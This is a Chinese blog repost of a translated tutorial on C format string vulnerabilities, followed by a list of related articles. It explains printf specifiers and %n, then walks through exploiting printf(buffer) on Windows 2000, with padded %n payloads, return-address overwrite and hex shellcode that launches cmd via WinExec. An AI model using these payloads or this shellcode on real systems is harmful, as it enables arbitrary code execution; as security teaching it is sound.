格式化字符的安全问题

[格式化字符串] 在C语言中,格式化字符串是用来指定如何显示变量值的一种方式。最常见的函数是printf,它根据传入的第一个参数(即格式化字符串)来决定如何显示后面的参数%d。 阅读详情
即使只有一点C语言基础的人也会printf()函数,实际上C语言教科书上通常的第一个程序就是“Hello, World!”,Kernighan and Ritchie在《The C Programming Language》中引发的惯例。

#include <stdio.h>
void main(void)
{
printf("/nHello,World!/n/n");
}

  这并没有完,在C语言中,当编译并运行这个程序向屏幕打印“Hello, World!”并不是简单的向屏幕输出字符串。和相关的程序fprintf(),vprintf() 以及 sprintf()等一样,就想在print后面加上“f”,这些实际上是打印格式。格式化部分允许程序员控制显示文本的样式。可以通过代替特殊的格式字符来显示值或数据,比如,要显示整型的变量“dVal”的值,就可以使用下面的格式化字符:

  printf(“The value is %d”,dVal);

  打印的时候,%d就被dVal的值所代替。如果程序员想用十六进制显示同样值:

  printf(“The value in decimal is %d and in hexadecimal is %x”,dVal,dVal);

  这里%d表示十进制的dVal值,%x表示十六进制的dVal的值。下面是集中特殊的格式化字符:

  %c 单字符格式
  %d 十进制整型 (pre ANSI)
  %e,%E 指数形式的 float or double
  %f 十进制 float or double
  %I 整型 (like %d)
  %o 八进制整型
  %p 地址指针
  %s 字符串
  %x,%X 十六进制整型

  当然,功能不仅限于怎么控制显示的数据类型,而且也能控制显示的宽度和队列等。

  一个格式字符%n没有列在上面,因为有特殊用途,但是它存在的格式化字符安全问题也非常严重。%n用于把前面打印的字符数记录到一个变量中。也用于统计格式化的字节数,这当然需要一个空间来存储这个数字,因此程序需要为此分配内存,例如下面的代码:

  1. #include <stdio.h>
  2. int main()
  3. {
  4. int bytes_formatted=0;
  5. char buffer[28]=”ABCDEFGHIJKLMNOPQRSTUVWXYZ”;
  6. printf(“%.20x%n”,buffer,&bytes_formatted);
  7. printf(“/nThe number of bytes formatted in the previous printf statement was %d/n”,bytes_formatted);
  8. return 0;
  9. }

  编译后输出显示为:

  0000000000000012ff64
  The number of bytes formatted in the previous printf statement was 20

在第四行申明了一个int类型的变量bytes_formatted,在第六行,格式化字符表示20个字符应该按十六进制 (“%.20x”) 进行格式化,%n则把值20写到bytes_formatted变量中。这意味着已经写了一个值到另外的内存空间中。现在我们不讨论编译者写数值或者写地址的影响,而讨论那种通过通过某种方式在操作这些值的时候造成了缺陷(溢出),如果这样成功的话,可能获得超过程序的执行控制。

  在程序员试图传递一个字符串到一个使用格式化字符的格式函数中,就可能发生溢出情况。参考下面的程序。

#include <stdio.h>
void main(int argc, char *argv[])
{
int count = 1;
while(argc > 1)
{
printf(argv[count]);
printf(“ “);
count ++;
argc --;
}
}

  编译并运行后显示如下程序:

Prompt: myecho hello
hello
Prompt: myecho this is some text
this is some text

So it justs spits back what we feed in – or does it? Try:

Prompt: myecho %x%x
112ffc0
 

  注意到myecho %x%x,并没有按照原本的意思打印出来,却显示的十六进制数?原因正是因为这些属于格式化字符,它们被传递给printf()函数却没有用函数来解释这些字符,被认为是格式化字符。安全的写法应该是

  printf(“%s”,argv[count]);

  而不是:

  printf(argv[count]);

  一个攻击者能够怎么利用呢?他们使用 “%n”格式化字符,能写任意值到他们选定的内存中!如果实现了,就能够控制程序的执行。例如,在Intel上,能就可以重写堆栈中的地址,并指向他们的攻击代码,这可以执行任意目的的程序。这种格式化字符漏洞利用起来需要考虑使用函数、操作系统和处理器类型。

  Windows 2000 / Intel 下的格式化字符漏洞问题

  考虑下面有漏洞的代码:

#include <stdio.h>

int main(int argc, char *argv[])
{
char buffer[512]="";
strncpy(buffer,argv[1],500);
printf(buffer);
return 0;
}
 

  这个程序拷贝第一个参数到一个缓冲区,然后简单地把缓冲区传递给 printf, 有问题的代码是这一行:

  printf(buffer);

  因为可以提供一个格式化字符作为第一个参数,而被传递给 printf() ,假设这个程序编译后叫 printf.exe。

  攻击者现在会试图用提供的地址来重写堆栈中函数的返回地址,提供的地址可以指向攻击代码(shell code)。要达到这样的目的,需要得到格式化打印的确切字节数,用来匹配需要用的地址。

例:如果攻击者的攻击代码在地址0x0012FF40处,那么,就要让 printf 表达式格式0x0012FF40个字节,格式化字符串就可以是:

  c:/>printf %.622496x%.622496x%n

  这就让1244992字节被printf表达式格式化打印,这个数字的十六进制就是0x0012FF40。但是目前并不完善,攻击者需要把exploit代码也放进去,这需要占据字节数。因此,要产生shell ,在windows 2000中这至多需要 40字节的 exploit code ,因此,需要修改格式化字符串放入代码就需要从622496中减去40。

  就变成:

  c:/>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%.622496x%.622456x%n

  在这个例子中,攻击者只是简单地用字符“A”替代攻击代码。现在可以运行它但是可能发生非法存取问题,因为程序试图写的地址0x41414141可能没有初始化。当这个问题出现的时候调试程序,正如看到的,不愉快的一行是:

  mov dword ptr [eax],ecx

  它试图移动(mov)ecx (etc是0x0012FF40,攻击者找到攻击的地址)到 eax (现在是0x41414141)地址中,由于0x41414141这个区域还没有初始化,所以就会出现存取错误。同时,调试并找到攻击代码字符串(刚才只是假设它们的地址是0x0012FF40),但是它们却并不在0x0012FF40存在,而是在地址0x0012FD80中。相差并不远,但是,要利用起来是需要非常精确的。因此,需要再次修改那些格式字符串。在这之前,通过找一个合适的目标(需要重写的返回地址)来进行的。攻击者发现了一个相似的目标,地址0x0012FD54,它储存的地址是0x00401077,因此,可以类似这样来进行。现在接着要达到的目的就是要重写EI为P地址0x0012FD80,这个地址就是攻击代码的地址。如果达到这个目的,把这个返回地址推送到堆栈中,进程就会开始执行攻击代码了。怎样才能重写地址0x0012FD54,而刚才做的事情却一直是在试图重写地址0x41414141?好,这是一个线索。%n格式化字符把指向字符串中某处的指针标志到字符串的结尾处。攻击者要做的就是把%n从格式化字符串中的某个位置变化到字符串结尾处,要达到这个目的就需要使用添加更多的%x来完成,攻击者用BBBB来标记字符串结尾。

  c:/>printf   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%.622496x%.622456x%nBBBB

  这是,程序试图写的地址是0x78257825,我们转换成十进制数发现0x78只是小写的“x”,0x25是“%”,所以看出来现在写的位置还是"%x%x%x%x"中的某个地方,这样,我们就继续试探,增加更多的%x:

  c:/>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  AAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
  %x%x%x%x%x%x%x%.622496x%.622456x%nBBBB

  这次正好到了,现在要试图写的地址就是0x42424242(也就是BBBB),攻击者把BBBB代替成攻击代码的返回位置0x0012FD54。但是,只是在这里可以用ASCII很简单地写0x12 或者 0xFD,所以需要写另外的一个程序来把这些值写进去。攻击者用%x一直达到能够重写需要的地址0x0012FD80,而现在这个值变成了0x00130019(refdom注:因为多了很多%x,所以让%n的大小也增加了),需要少写665字节内容,把刚才的622456改变成621791,程序就是:

#include <stdio.h>

int main()
{
char buffer[500]="printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x %x%x%.622496x%.621791x%n/x54/xFD/x12";

system(buffer);

return 0;
}
 
编译运行后又有了一个新的非法存取问题:在0x0012FF90处的指令引用了0x00000030处的存储器。注意,在0x0012FF90处的指令(这是一个堆栈地址),并且显然,攻击的进程正试图执行堆栈中的代码,格式化字符串exploit起作用了!攻击者已经成功地重写了返回地址,并将程序引到那里去了。现在,攻击者只需把exploit代码放进去,刚才用AAA来代替了。攻击者会先做一个确定,替代前面的四个A成为一个检查点:

#include <stdio.h>
int main()
{
char buffer[500]="printf ";
charbuffer2[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%.622496x%.621791x%n/x54/xFD/x12";
strcat(buffer,"/xCC/xCC/xCC/xCC");
strcat(buffer,buffer2);
system(buffer);
return 0;
}

  (注:代码中charbuffer2中比前面的少了四个A,用后面的/xCC/xCC/xCC/xCC代替了)

  当运行到这个检查点的时候,回到了代码。现在能够确认已经能够获得并控制程序的执行,接着放入exploit代码。假设shell代码是下面的:

push ebp // Procedure Prologue - often not needed
mov ebp,esp // Procedure Prologue - often not needed
xor edi,edi // Get some NULLs
push edi // Push them onto the stack
mov byte ptr [ebp-04h],63h // Write 'c' of cmd
mov byte ptr [ebp-03h],6Dh // Write 'm' of cmd
mov byte ptr [ebp-02h],64h // Write 'd' of cmd
push edi // Push NULLs again (2nd Param for WinExec())
mov byte ptr [ebp-08h],03h // Turn it into SW_MAXIMIZE
lea eax,[ebp-04h] // Load address of cmd into EAX
push eax // Push it onto stack (1st Param for WinExec())
mov eax, 0x77E9B50E // Move address of WinExec() into EAX
call eax //<---- Call it

  这样,程序就成为:

#include <stdio.h>

int main()
{
char buffer[500]="printf ";
char exploit_code[]=","/x55/x8B/xEC/x33/xFF/x57/xC6/x45/xFC/x63/xC6
/x45/xFD/x6D/xC6/x45/xFE/x64/x57/xC6/x45/xF8/x01/x8D/x45/xFC/x50/
xB8/x0E/xB5/xE9/x77/xFF/xD0/xCC";
char buffer2[]="AAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%.622496x%.621791x%n /x54/xFD/x12";

strcat(buffer,exploit_code);
strcat(buffer,buffer2);

system(buffer);

return 0;
}
 

  编译后运行了新的shell。

  这是在WIN2000中利用格式化字符漏洞的一种简单方法。整个思路就是:格式化一个跟exploit代码地址位置这么大小的字符串,并用这个值重写了堆栈中程序的返回地址,这样,当子程序运行返回后不是返回本来的地址,相反,而是接着替代的地址继续执行程序了。

  利用printf类函数并不一定跟这个例子一样。例如:如果在用vsprintf函数的有问题代码(在Van Dyke Technologies’ SSH Server for Windows, Vshell,发现过),攻击者并不能象printf()这样选择内存位置,它被限制在参数列表及其以后的一个地址段中,而象VShell,第十三个参数是一个保存这一个函数指针的地址,因此可以用攻击者的函数指针重写这个地址来利用。

C 和 C++ 字符串格式化 --------------------------------------------------------------------------------- gcc中格式化输出函数的研究:http://blog.youkuaiyun.com/dai_xiangjun/article/details/41356723 C语言格式化输出小结:http://bl... 阅读详情

相关推荐

异常崩溃分析:将字符串类对象的内容格式化到字符串缓冲区时遇到的问题

在将字符串类对象的内容格式化到字符串缓冲区时,我们需要小心处理,以避免异常崩溃。在实际编程中,我们应该仔细检查代码,确保格式化过程的正确性,并且使用适当的错误处理机制来处理异常情况,以提高程序的稳定性和安全性。在编程过程中,我们经常需要将字符串对象的内容格式化为特定的格式,并将其存储到字符串缓冲区中。缓冲区溢出:当我们将格式化后的字符串写入到固定大小的字符串缓冲区时,如果格式化后的字符串长度超过了缓冲区的大小,就会导致缓冲区溢出。等)时,如果格式化字符串中的占位符与提供的参数不匹配,就会导致异常崩溃。

ByteEchoX的博客 187

通过一次自制实验一步步入门格式化字符串漏洞——记一次学习32位ELF文件格式化字符串漏洞原理的实验-详细分析

PWN-格式化字符串漏洞,通过实验一步一步分析格式化字符串漏洞,原理

weixin_52111404的博客 1550

【电子元件篇】电容的九大作用与选型指南-超简单解读

本文系统介绍了电容的基础概念、核心功能及实际应用。电容作为存储电荷的被动元件,其容值公式为C=Q/V,单位包括法拉及常用派生单位。文章重点解析了电容的九大功能:滤波(通过RC低通电路抑制噪声)、耦合(传递交流隔离直流)、去耦(稳定供电)、储能(短暂供电)、定时(RC延时)、谐振(RLC振荡)、旁路(高频通路)、电压调节(DC-DC转换)以及保护(吸收浪涌)。同时详细阐述了电容分类(陶瓷/电解/薄膜等)、参数选型要点(耐压/容值/精度/温度)及PCB设计注意事项,并针对不同应用场景提供了具体选型建议和常见误区

2301_81299416的博客 4008

c指针——上课

预编译 程序从编辑到执行的过程:预编译的输入是源程序(文本文件),输出依然是源程序(文本文件), 只不过作了一些替换而已. 1. #define 预编译指令 也称为宏定义. 在计算机技术中, 宏的意思是用一个字符序列替换另一个字符序列. 例:以下是用字符序列3.14 替换字符序列 PAI #include 预编译指令 8地址、指针与内存的分配 以上引自于Kerniigan & Ritc

王旭—201706毕业—实习生—后台开发 326

从IMC层到应力点:手把手教你用SEM/EDS给BGA焊点做一次‘体检’

本文详细介绍了如何使用SEM/EDS技术对BGA焊点进行全面失效分析,从样品制备到SEM观察、EDS分析,再到综合诊断,手把手教你识别焊点的微观特征和成分异常。文章特别强调了IMC层分析在BGA焊接失效诊断中的关键作用,并提供了实用的实验室技巧和常见失效模式对照表,帮助工程师快速定位问题根源。

weixin_42685438的博客 379

HarmonyOS ArkTS开发实战:用Axios封装一个通用的网络请求工具类(附完整代码)

本文详细介绍了如何在HarmonyOS ArkTS开发中利用Axios封装一个通用的网络请求工具类,涵盖架构设计、核心模块实现、UI状态联动及高级功能扩展。通过单例控制器、拦截器链配置和Token自动刷新机制,提升网络请求的稳定性和可维护性,适用于各类HarmonyOS应用开发场景。

weixin_30772105的博客 491

【C进阶】指针笔试题解析

a变为数值+1也就是+一个字节,再把加一个字节后的a当作一个地址,那么a也就是跳过了一个字节,指向了01后面的00位置,,看图解(实际上二维数组也是连续存放的,但是为了便于理解,还是画成了行和列)(1)&aa是二维数组地址,&aa+1跳过整个二维数组,元素10后面的地址。再强转为int *类型,ptr1[-1]==*(ptr1-1),也就是4。如下表表达式的值分别为多少?

qq_73017178的博客 1739

WGCNA分析中那些没人告诉你的坑:以肺结核差异基因模块筛选为例

本文深入探讨WGCNA分析在肺结核差异基因模块筛选中的七个关键陷阱,包括soft-thresholding选取、样本离群值检测、模块合并阈值调整等。通过实际案例和R代码示例,揭示生信数据挖掘中常被忽视的技术细节,帮助研究者避免常见错误,提升分析结果的可靠性和生物学意义。

weixin_29218509的博客 261

第一站:初识C语言-4

常见关键字、宏、指针、结构体

m0_74268677的博客 463

AI驱动的iOS逆向工程自动化:14阶段工作流与Ghidra集成实践

逆向工程是软件安全分析的核心技术,通过反汇编、调试等手段解析程序内部逻辑与数据流。其原理在于将编译后的二进制代码还原为可理解的逻辑结构,从而发现潜在漏洞或理解软件行为。在移动安全领域,iOS逆向工程具有重要技术价值,能够用于安全审计、漏洞挖掘与恶意软件分析。传统iOS逆向依赖ipsw、class-dump、Frida等工具链组合,存在学习曲线陡峭与流程碎片化问题。本文介绍的ios-reverse-skills项目创新性地将14阶段逆向工程方法论封装为AI可调用的标准化脚本集,通过Ghidra脚本实现Swif

weixin_27268733的博客 432

Ubuntu22.04+Docker一键部署Autoware Universe避坑指南(附鱼香ROS配置)

本文详细介绍了在Ubuntu22.04系统中使用Docker一键部署Autoware Universe的完整流程,包括鱼香ROS工具链配置、Docker环境优化及VSCode开发环境集成。通过实战指南帮助开发者快速搭建自动驾驶开发环境,解决常见部署问题,提升开发效率。

weixin_29254673的博客 413

c++编码规范(二)

3 格式化输出安全 规则3.1:格式化输出函数的格式化参数和实参类型必须匹配 说明:使用格式化字符串应该小心,确保格式字符和参数在数据类型上的匹配。格式字符和参数之间的不匹配会导致未定义的行为。大多数情况下,不正确的格式化字符串会可能会导致格式化漏洞,使程序异常终止。 错误示例1:格式字符和参数的类型不匹配 void  Noncompliant_ArgMismatch() {  cha

mct123的专栏 9061

高通MBIM拨号流程简述

高通平台MBIM流程简述

不秃头的程序猿Gabriel的博客 5070

sprintf格式化字符串安全问题

先看sprintf用法: 定义和用法 sprintf() 函数把格式化的字符串写入变量中。 arg1、arg2、++参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入arg1,在第二个 % 符号处,插入arg2,依此类推。 注释:如果 % 符号多于arg参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 "\$" 组成...

weixin_30322405的博客 445

达摩院高清人像美肤模型ABPN的深入解析及编程实现

本文深入解析了达摩院高清人像美肤模型ABPN的原理,并提供了相应的源代码实现。ABPN模型通过自适应的反投影网络,有效地实现了人像图像的美肤处理。通过进一步的研究和优化,ABPN模型有望在人像美肤领域发挥更大的作用。低频特征提取器用于提取输入图像的低频信息,而反投影网络则负责将低频信息与原始图像结合,生成美肤后的输出图像。通过将输入图像送入ABPN模型,即可得到经过美肤处理后的输出图像。通过对输入图像进行美肤处理,可以有效地去除皮肤上的瑕疵和噪点,提升图像质量和美感。

TechPulseZ的博客 711

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

flask session 安全问题 和 python 格式化字符串漏洞

ctf题中遇到了伪造session和python的格式化字符串漏洞,这里做个小结

闵行小鱼塘 1442

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

格式化字符串漏洞不只是CTF题:在Linux C程序开发中如何避免和检测这类安全问题

本文深入探讨了格式化字符串漏洞在Linux C程序开发中的危害与防御策略,从CTF比赛到真实生产环境的案例分析,提供了编译器防护、安全编码实践、静态分析与自动化检测等多维度的解决方案,帮助开发者有效避免和检测这类安全问题。

weixin_33701251的博客 82

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

asp.net gridview 格式化字符串问题

 今天在博客园上看到的关于格式化字符串问题,特贴来,因为以后肯定会碰到。http://www.cnblogs.com/anson/archive/2006/06/07/419883.html

NogamesNow的专栏 1532

sprintf格式化字符串带来的注入隐患

原文链接:https://paper.seebug.org/386/ 摘要点关键知识点 <?php $input = addslashes("%1$' and 1=1#"); $b = sprintf("AND b='%s'", $input); ... $sql = sprintf("SELECT * FROM t WHERE a='%s' $b", 'admin');...

weixin_30236595的博客 597

深入解析BinExp项目中的格式化字符串问题(二):GOT表操作与功能获取

在二进制问题研究领域,格式化字符串问题是一种常见且值得关注的现象。本文将深入探讨如何利用格式化字符串问题实现GOT表操作,最终获取系统功能的高级技术。 ## 环境准备 在开始之前,需要确保以下机制已被调整: 1. 关闭地址空间布局随机化(ASLR): ```bash echo "0" | sudo dd of=/proc/sys/kernel/randomize_va_space...

gitblog_00419的博客 387

python格式化字符串漏洞_Python Web之flask session&格式化字符串漏洞

这是在参加百越杯CTF遇到的一道题目,其中涉及到两个python安全相关的知识点,在此做一个总结。flask session问题由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。假设现在我们有一串 session 值为: e...

weixin_39590868的博客 1498

c++ 未受控字符串

未受控的格式化字符串(Uncontrolled Format Strings)是一种常见的安全问题,主要发生在使用格式化函数时,如 printf、sprintf、fprintf 等。这类问题通常导致格式化字符串未受到严格控制,从而可能引发严重的安全漏洞,例如缓冲区溢出、信息泄露或代码执行等。

heeheeai的博客 539

“迎圣诞,拿大奖“赛题——SQLI(附sprintf格式化字符串安全问题超详解)

"迎圣诞,拿大奖"赛题——SQLI 0x00题目 结合题目给出的“SQLI”与页面,正常思路是SQL注入,尝试用admin账户登陆,提示password error,证明有admin用户存在,那么就对username进行注入,尝试弱口令 0x01发现注入点 开始在username处进行常规注入,考虑万能密码,所以直接使用burpsuit的intruder跑一下,查看那些字母或者字符没有被过滤掉(waf字典),但发现带有%的response中返回长度不一样,查看回显发现提示 构造username=admin

g1ut_t0ny的博客 408

密钥格式化c语言实验原理,「format str漏洞」格式化字符串函数解析原理/过程

8种机械键盘轴体对比本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?摘录自wiki-CTF{只为催促自己的记忆,复写一遍}格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。一般来说,格式化字符串在利用的时候主要分为三个部分格式化字符串函数格式化字符串后续参数,可选一、格式化字符串参数C语言中格式字符串的一般形式为: %[指定参数][标志][输...

weixin_42467573的博客 374

【分析】Windows 2000 中的格式化字符串攻击

Windows 2000 中的格式化字符串攻击创建时间:2002-02-22文章属性:翻译文章提交:refdom (refdom_at_263.net)翻译:refdomEmail: refdom@263.netHomepage: www.cnhonker.net2002-2-22原文名称:《Windows 2000 Format String Vulnerabilities》原文作者:David

FreeXploiT 1570

格式化字符串漏洞利用 二、格式化函数

二、格式化函数格式化函数是一类特殊的 ANSI C 函数,接受可变数量的参数,其中的一个就是所谓的格式化字符串。当函数求解格式化字符串时,它会访问向函数提供的额外参数。它是一个转换函数,用于将原始的 C 数据类型表示为人类可读的字符串形式。它们在几乎任何 C 程序中都会使用,来输出信息、打印错误信息或处理字符串。这一章中,我们会涵盖格式化函数使用中的典型漏洞,正确用法,它们的一些参数,以及格式化字符

龙哥盟 4万+
上一篇: Windows 2000缓冲区溢出技术原理
下一篇: 解码shell code的/x00
codeshell
博客等级 码龄22年 9粉丝 33原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值